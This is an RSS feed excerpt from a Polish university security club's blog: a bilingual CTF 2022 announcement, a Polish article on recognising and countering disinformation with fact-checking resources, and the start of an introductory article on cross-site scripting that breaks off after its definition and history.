&lt;/svg>&lt;/a>&lt;/p></description></item><item><title>Break The Syntax CTF 2022</title><link>https://whitehats.pwr.edu.pl/blog/2022-06-07-bts-3rd-edition/</link><pubDate>Tue, 07 Jun 2022 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2022-06-07-bts-3rd-edition/</guid><description>
&lt;h2>[PL] Break the Syntax 2022&lt;span class="hx:absolute hx:-mt-20" id="pl-break-the-syntax-2022">&lt;/span>
&lt;a href="#pl-break-the-syntax-2022" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>3.06.2022 o godzinie 18:00 rozpoczęła się trzecia edycja organizowanego przez nas turnieju Jeopardy Capture The Flag, Break The Syntax.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bts-header.png">
&lt;figcaption>Oficjalny plakat turnieju.&lt;/figcaption>
&lt;/figure>
&lt;p>Wydarzenie trwało 42 godziny do 5.06.2022 do godziny 12:00. Udział wzięło &lt;a href="https://ctftime.org/event/1677"target="_blank" rel="noopener">118 drużyn&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Writeupy z wydarzenia dostępne są na &lt;a href="https://github.com/PWrWhiteHats/BtS-2022-Writeups"target="_blank" rel="noopener">naszym GitHubie&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>[ENG] Break the Syntax 2022&lt;span class="hx:absolute hx:-mt-20" id="eng-break-the-syntax-2022">&lt;/span>
&lt;a href="#eng-break-the-syntax-2022" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>On June 3rd, 2022 at 6:00 PM the third edition of our Jeopardy-style CTF tournament, Break the Syntax took place.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bts-header.png">
&lt;figcaption>The official poster of the tournament.&lt;/figcaption>
&lt;/figure>
&lt;p>The event lasted 42 hours up to June 3rd, 2022, 12:00 AM. &lt;a href="https://ctftime.org/event/1677"target="_blank" rel="noopener">118 teams&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> took part.&lt;/p>
&lt;p>The writeups from the event our available on &lt;a href="https://github.com/PWrWhiteHats/BtS-2022-Writeups"target="_blank" rel="noopener">our GitHub&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p></description></item><item><title>Doba dezinformacji</title><link>https://whitehats.pwr.edu.pl/blog/2022-03-15-fake-news/</link><pubDate>Tue, 15 Mar 2022 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2022-03-15-fake-news/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2022-03-15-fake-news/background_hu_100e2455ecdf6f1.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Temat artykułu jest realizowany w ramach Projektu “Cyberakcja - Bezpieczna Bankowa Aplikacja”, finansowanym z grantu Haki na Cyberataki Fundacji Santander.
Szczególne podziękowania dla fundacji Manus za pomoc w realizacji projektu.&lt;/p>
&lt;figure class="align-center" style="width : 50%; height: auto; display: block; margin-left: auto; margin-right: auto;">
&lt;img loading="lazy" src="./1_cyberakcja.png" alt="Logo Cyberakcja">
&lt;/figure>
&lt;h1>Wstęp&lt;/h1>&lt;p>W dobie internetu, dzięki szerokiemu dostępowi do informacji i ich szybkiemu przepływowi, stoimy w obliczu wyzwania jakim jest stres informacyjny, czy dezorientacja przez nie wywołana. Spadek zaufania społecznego do dziennikarzy czy telewizji przeniósł nas do teoretycznie bardziej &amp;ldquo;prawdziwego&amp;rdquo; czy &amp;ldquo;nieprzefiltrowanego medium&amp;rdquo; jakim właśnie jest Internet. Ludzki umysł ma tendencję do szybkiego przetwarzania wiadomości z otoczenia i często, posługując się heurystykami, automatycznie uznaje docierające do niego informacje za prawdziwe. Z tego powodu zjawisko Fake Newsów stało się tak powszechne i szkodliwe, ponieważ prowadzi do tworzenia zakłamanego obrazu rzeczywistości, a przez bezrefleksyjne przyjmowanie dostępnych nam treści stajemy się podatni na manipulacje. W tym artykule szerzej omówię to zjawisko, oraz praktyczne metody jak bronić się przed dezinformacją.&lt;/p>
&lt;h2>Źródła i czym są Fake News?&lt;span class="hx:absolute hx:-mt-20" id="źródła-i-czym-są-fake-news">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a-i-czym-s%c4%85-fake-news" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Fake News to po prostu fałszywe lub zmanipulowane informacje, których szkodliwy wpływ polega na utrwalaniu nieprawdy i szerzeniu dezinformacji, co może wiązać się z korzyściami dla twórców takich wiadomości. Niestety, nie jesteśmy tylko celem takich informacji, ale często stajemy się ich pośrednikiem, przez udostępnienie czy rozpowszechnienie w inny sposób.
Przykładów nie należy daleko szukać, część z nas zapewne słyszała wykład Jerzego Zięby o tym, aby leczyć COVID-19 witaminą C. Chaos informacyjny podczas pandemii COVID-19 przyczynił się do negatywnego nastawienia społeczeństw do informacji przekazywanych przez rząd w mediach tradycyjnych i utraty ich wiarygodności, dlatego coraz częściej staramy się znaleźć &amp;ldquo;prawdę&amp;rdquo; na własną rękę w internecie. Jednak nieznajomość tematu, zła interpretacja faktów czy napotkanie tam zmanipulowanych treści nie przynosi nam nic dobrego z takiego, darmowego dostępu do informacji.
Natalia Sawka z Agence France-Presse, zajmująca się na co dzień weryfikacją informacji, w rozmowie z Działem Zagranicznym twierdzi, że jednym z powodów dla, których Fake Newsy są rozprzestrzeniane jest to, że utwierdzają nas w swoich przekonaniach. W psychologii takie zjawisko nazywane jest rozumowaniem motywowanym. Badania ekspertów z Brookings Institution, w których wykazano, że jednym z powodów dla których ludzie przyczyniają się do udostępniania Fake Newsów jest polityczne spolaryzowanie społeczeństwa, są potwierdzeniem tego sposobu rozumowania. Badani Republikanie byli skorzy do przekazywania dalej fałszywych informacji, tylko dlatego, że zgadzały się ze światopoglądem pasującym do ich partii politycznej, lub takich, które szkodziły partii opozycyjnej, mimo świadomości ich nieprawdziwości.
Przywołane w tej samej rozmowie badania Eurostat dobitnie pokazują, że Polskie społeczeństwo nie jest nauczone weryfikacji źródeł informacji, przez to i przez coraz wyraźniej spolaryzowanie społeczeństwa widać, że możemy być częstszym celem do manipulacji i propagandy, dlatego ważne jest abyśmy nabrali kompetencji do przeciwstawieniu się temu zjawisku.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./people-verified-info.png">&lt;img loading="lazy" src="./people-verified-info.png" alt="People verified">&lt;/a>
&lt;!-- &lt;figcaption>s&lt;/figcaption> -->
&lt;/figure>
&lt;h2>Jak się bronić przed dezinformacją?&lt;span class="hx:absolute hx:-mt-20" id="jak-się-bronić-przed-dezinformacją">&lt;/span>
&lt;a href="#jak-si%c4%99-broni%c4%87-przed-dezinformacj%c4%85" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Musimy przyjąć do wiadomości fakt o naszej własnej omylności, o tym, że każdy z nas może dać się poddać manipulacji. Ważna jest również świadomość błędów poznawczych czy uproszczonych metod wnioskowania - heurystyk, którymi się posługujemy. Pomoże nam to dostrzec wady w naszym własnym myśleniu i uwrażliwić nas na takie same błędy popełniane przez innych.
Kluczowym jest krytyczne podejście do informacji, ostrożność i czujność. Często dana informacja ma na celu wywołanie w nas określonych, skrajnych emocji, przez co przestajemy myśleć racjonalnie i szybko chcemy powiadomić o niej innych. Musimy podchodzić na chłodno do newsów nam prezentowanych, a zanim je udostępnimy, sprawdzić ich wiarygodność.
Powinniśmy być uczeni, że są pewne instytucje, naukowcy, czy weryfikatorzy, które są bardziej wiarygodne niż media społecznościowe. Nie ufajmy ślepo autorytetom - dorobek naukowy danego naukowca warto sprawdzić, np. gdzie publikował wcześniej, czy były to renomowane czasopisma naukowe, czy są cytowani w swoim środowisku. Generalnie do źródeł godnych zaufania zaliczamy zasoby uniwersytetów i instytucji naukowych, informacje dostępne na stronach rządowych, upublicznione opracowania naukowe, wyniki badań, artykuły naukowe, zasoby bibliotek ośrodków naukowych czy instytutów, artykuły w Wikipedii angielskiej oznaczone gwiazdką, która oznacza najwyższy standard informacji dostępnych na tej stronie. Powinniśmy jednak mieć też świadomość tego, że część informacji może być dla nas zbyt trudna, ponieważ nie wszyscy dysponujemy wiedzą na poziomie akademickim w każdym temacie, przez co nie jesteśmy w stanie na własna rękę wszystkiego skutecznie zweryfikować. W takim przypadku to, co nam pozostaje, to umiejętność oceny źródeł przekazanych informacji. Media, które rzetelnie sprawdzają swoje źródła, dopuszczają do głosu specjalistów, cytują artykuły naukowe czy badania, z wielką starannością dbają o informacyjność oraz bezstronność swojego przekazu, część informacji sprawdzają za nas, dzięki czemu będziemy mieli wysokie prawdopodobieństwo, że ta nowa informacja jest najbliższa prawdzie.&lt;/p>
&lt;h2>Jak wygląda weryfikacja informacji na Facebooku?&lt;span class="hx:absolute hx:-mt-20" id="jak-wygląda-weryfikacja-informacji-na-facebooku">&lt;/span>
&lt;a href="#jak-wygl%c4%85da-weryfikacja-informacji-na-facebooku" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Media społecznościowe stały się aktualnie jednym ze źródeł najszybszego rozprzestrzeniania się wiadomości ze świata. Użytkownicy mają możliwość zgłaszania fałszywych treści i później, bez ingerencji Facebooka, niezależna firma fact-checkingowa wybiera informacje, które podda weryfikacji na podstawie szybkości rozprzestrzeniania i zasięgu. Po procesie weryfikacji, pisane są artykuły i wtedy użytkownicy napotykając się na daną informacje widzą oznaczenie specjalną etykietą, czy jest to informacja prawdziwa, fałszywa czy wyrwana z kontekstu.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./facebook-fake-news.png">&lt;img loading="lazy" src="./facebook-fake-news.png" alt="Facebook fake news">&lt;/a>
&lt;!-- &lt;figcaption>s&lt;/figcaption> -->
&lt;/figure>
&lt;p>Świadomość mechanizmów działania mediów społecznościowych - to, jak są projektowane pod utrzymanie naszej uwagi poprzez bodźce i emocje, jakie są nam w stanie dostarczyć, wydaje się być kluczowe w celu minimalizowania ulegania manipulacjom w ich obszarze. Poniżej tego artykułu zamieszczam tytuły filmów dokumentalnych w tym temacie.&lt;/p>
&lt;h2>Red flags nierzetelnego źródła, czyli jak rozpoznać Fake News&lt;span class="hx:absolute hx:-mt-20" id="red-flags-nierzetelnego-źródła-czyli-jak-rozpoznać-fake-news">&lt;/span>
&lt;a href="#red-flags-nierzetelnego-%c5%bar%c3%b3d%c5%82a-czyli-jak-rozpozna%c4%87-fake-news" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>Natrafiając na dany artykuł w internecie można przejść na stronę główną danego serwisu i zobaczyć jakie ogólnie treści są tam publikowane. Jeżeli widzimy dużo artykułów pseudonaukowych czy oceniamy, że może to być źródło o danej ideologii i stronniczości, która może rzutować na opublikowaną treść - nie powinniśmy czerpać stamtąd informacji.&lt;/li>
&lt;li>Alarmujące dla nas powinny być wszelkie tytuły z tezą, nacechowanie emocjonalne, czy użycie sensacyjnego języka zamiast nastawienia na informacyjność przekazu.&lt;/li>
&lt;li>Serwisy z brakiem źródeł zamieszczanych informacji sugerują niewiarygodność informacji.&lt;/li>
&lt;li>Interesowność w sposobie przedstawianych informacji, np. &amp;ldquo;Predatory Journals&amp;rdquo;.&lt;/li>
&lt;/ul>
&lt;h2>Inne metody weryfikacji&lt;span class="hx:absolute hx:-mt-20" id="inne-metody-weryfikacji">&lt;/span>
&lt;a href="#inne-metody-weryfikacji" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>Można zwrócić się do weryfikatorów informacji. (linki na końcu artykułu)&lt;/li>
&lt;li>Coraz częściej samo społeczeństwo chce przeciwstawiać się szerzeniu nieprawdy, więc sprawdzanie komentarzy pod danymi informacjami może być dobrym pomysłem. Możliwe jest, że ktoś podesłał link do prawdziwego źródła czy sam zweryfikował informacje i chce się podzielić.&lt;/li>
&lt;li>Weryfikacja zdjęć jest możliwa przez wyszukanie oryginalnego obrazu i jego źródła, poprzez stronę TinEye czy odwrotne wyszukiwanie w Google Images.&lt;/li>
&lt;li>Do weryfikacji wideo może posłużyć narzędzie InVid , ale też dopatrywanie się w materiale szczegółów takich, jak rejestracje samochodów, język przechodniów, loga firm, znaki na ulicy, czy rozpoznanie charakterystycznych punktów orientacyjnych miasta widocznego na nagraniu, może pomóc w rozstrzygnięciu czy wideo nie zostało nagrane w innej lokacji lub czy nie dotyczy innego wydarzenia.&lt;/li>
&lt;/ul>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Aby przeciwstawić się szerzeniu dezinformacji powinniśmy:&lt;/p>
&lt;ul>
&lt;li>zachować postawę krytyczną do przedstawianych nam treści,&lt;/li>
&lt;li>być podejrzliwymi i wrażliwymi na próby manipulacji,&lt;/li>
&lt;li>weryfikować źródła informacji,&lt;/li>
&lt;li>nie ufać ślepo autorytetom,&lt;/li>
&lt;li>nie dawać się ponieść własnym emocjom,&lt;/li>
&lt;li>mieć świadomość własnej omylności i być otwartymi do modyfikowania swoich poglądów, gdy napotkamy ku temu argumenty,&lt;/li>
&lt;li>czerpać informacje z rzetelnych, godnych zaufania mediów, nie ograniczając się do jednego, przez co łatwiej będzie otrzymać pełny obraz sytuacji i stworzyć własną opinię.&lt;/li>
&lt;/ul>
&lt;p>Trwająca wojna Rosji z Ukrainą ukazuje nam, że w XXI wieku nie tylko działania militarne są bronią, ale również szerzenie fałszywych informacji stało się orężem. Stąd, niezmiernie ważna jest walka z dezinformacją, oraz umiejętność odróżnienia prawdy od fałszu, która umożliwi obronę przed manipulacją nawet w tych burzliwych czasach.&lt;/p>
&lt;h2>Polecane&lt;span class="hx:absolute hx:-mt-20" id="polecane">&lt;/span>
&lt;a href="#polecane" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Strony weryfikujące - do takich portali możemy zgłaszać informacje w celu ich weryfikacji, jak również publikowane są tam artykuły omawiające zweryfikowane bądź obalone dotychczasowe informacje krążące po internecie:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://oko.press/"target="_blank" rel="noopener">https://oko.press/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://sprawdzam.afp.com/"target="_blank" rel="noopener">https://sprawdzam.afp.com/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.antyfake.pl/"target="_blank" rel="noopener">https://www.antyfake.pl/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://konkret24.tvn24.pl/"target="_blank" rel="noopener">https://konkret24.tvn24.pl/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://demagog.org.pl/"target="_blank" rel="noopener">https://demagog.org.pl/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://eu.usatoday.com/news/factcheck/"target="_blank" rel="noopener">https://eu.usatoday.com/news/factcheck/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Filmy dokumentalne omawiające sposób działania oraz wpływ mediów społecznościowych:&lt;/p>
&lt;ul>
&lt;li>The Social Dilemma - reż. Jeff Orlowski&lt;/li>
&lt;li>The Great Hack - reż. Karim Amer i Jehane Noujaim&lt;/li>
&lt;li>Screened Out - reż. Jon Hyatt&lt;/li>
&lt;/ul>
&lt;p>Filmy YouTube:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=DcRM22R-DOs"target="_blank" rel="noopener">https://www.youtube.com/watch?v=DcRM22R-DOs&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - 8 rad od Niebezpiecznika&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=T1vW8YDDCSc"target="_blank" rel="noopener">https://www.youtube.com/watch?v=T1vW8YDDCSc&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &amp;ldquo;Krótki film o prawdzie i fałszu&amp;rdquo;, materiał na kanale popularnonaukowym SciFun na portalu youtube.com&lt;/li>
&lt;/ul>
&lt;h2>Źródła i zdjęcia&lt;span class="hx:absolute hx:-mt-20" id="źródła-i-zdjęcia">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a-i-zdj%c4%99cia" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://www.dzialzagraniczny.pl/2021/12/jak-profesjonalisci-weryfikuja-fake-newsy-dzial-zagraniczny-podcast110/"target="_blank" rel="noopener">https://www.dzialzagraniczny.pl/2021/12/jak-profesjonalisci-weryfikuja-fake-newsy-dzial-zagraniczny-podcast110/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ec.europa.eu/eurostat/en/web/products-eurostat-news/-/DDN-20211216-3"target="_blank" rel="noopener">https://ec.europa.eu/eurostat/en/web/products-eurostat-news/-/DDN-20211216-3&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.brookings.edu/techstream/how-partisan-polarization-drives-the-spread-of-fake-news/"target="_blank" rel="noopener">https://www.brookings.edu/techstream/how-partisan-polarization-drives-the-spread-of-fake-news/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cyberpolicy.nask.pl/czym-jest-fact-checking-zarys-inicjatyw-na-swiecie-i-w-polsce/"target="_blank" rel="noopener">https://cyberpolicy.nask.pl/czym-jest-fact-checking-zarys-inicjatyw-na-swiecie-i-w-polsce/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cik.uke.gov.pl/news/fake-news-czyli-falszywa-prawda,191.html"target="_blank" rel="noopener">https://cik.uke.gov.pl/news/fake-news-czyli-falszywa-prawda,191.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=T1vW8YDDCSc"target="_blank" rel="noopener">https://www.youtube.com/watch?v=T1vW8YDDCSc&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.press.pl/zalaczniki_WWW/facebook_full.pdf"target="_blank" rel="noopener">https://www.press.pl/zalaczniki_WWW/facebook_full.pdf&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cyberpolicy.nask.pl/1577-2/"target="_blank" rel="noopener">https://cyberpolicy.nask.pl/1577-2/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://about.fb.com/news/2021/03/how-were-tackling-misinformation-across-our-apps/"target="_blank" rel="noopener">https://about.fb.com/news/2021/03/how-were-tackling-misinformation-across-our-apps/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://demagog.org.pl/fake_news/witamina-c-na-ciezki-covi"target="_blank" rel="noopener">https://demagog.org.pl/fake_news/witamina-c-na-ciezki-covi&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Cross-Site Scripting</title><link>https://whitehats.pwr.edu.pl/blog/2021-06-01-xss-podstawy/</link><pubDate>Tue, 01 Jun 2021 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2021-06-01-xss-podstawy/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2021-06-01-xss-podstawy/tlo_hu_726f2ecd21d3e94c.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>O XSSach słyszał chyba każdy kto kiedykolwiek interesował się bezpieczeństwem aplikacji webowych (stron internetowych). Zgodnie z raportem firmy &lt;a href="https://www.contrastsecurity.com/security-influencers/september-2019-appsec-intelligence-report"target="_blank" rel="noopener">Contrast Security&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> na rok 2019, atak z wykorzystaniem tego wektora został przeprowadzony na 55% zbadanych aplikacji i stanowił aż 4% wszystkich ataków we wrześniu 2018 (ustępując liczbowo tylko &lt;em>SQL injection&lt;/em>).&lt;/p>
&lt;h2>Czym jest XSS?&lt;span class="hx:absolute hx:-mt-20" id="czym-jest-xss">&lt;/span>
&lt;a href="#czym-jest-xss" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Zgodnie z &lt;a href="https://owasp.org/www-community/attacks/xss/"target="_blank" rel="noopener">definicją&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> organizacji OWASP, &lt;em>cross-site scripting&lt;/em> to typ ataku, w ramach którego w stronę internetową wstrzyknięty zostaje kod języka skryptowego (najczęściej JavaScript). Skrypt ten zostaje wykonany po stronie użytkownika - w przeglądarce.&lt;/p>
&lt;p>Pierwsze wzmianki o wstrzykiwaniu kodu w zawartość strony pojawiają się w dokumencie Zespołu Bezpieczeństwa przeglądarki Internet Explorer z 1999 roku. Opisano wtedy jak taki atak mógłby zostać przeprowadzony i jakie mogłyby być jego skutki. Po drobnych modyfikacjach &lt;a href="https://web.archive.org/web/20110723122945/http://ha.ckers.org/cross-site-scripting.html"target="_blank" rel="noopener">opublikowano go w 2000 roku&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
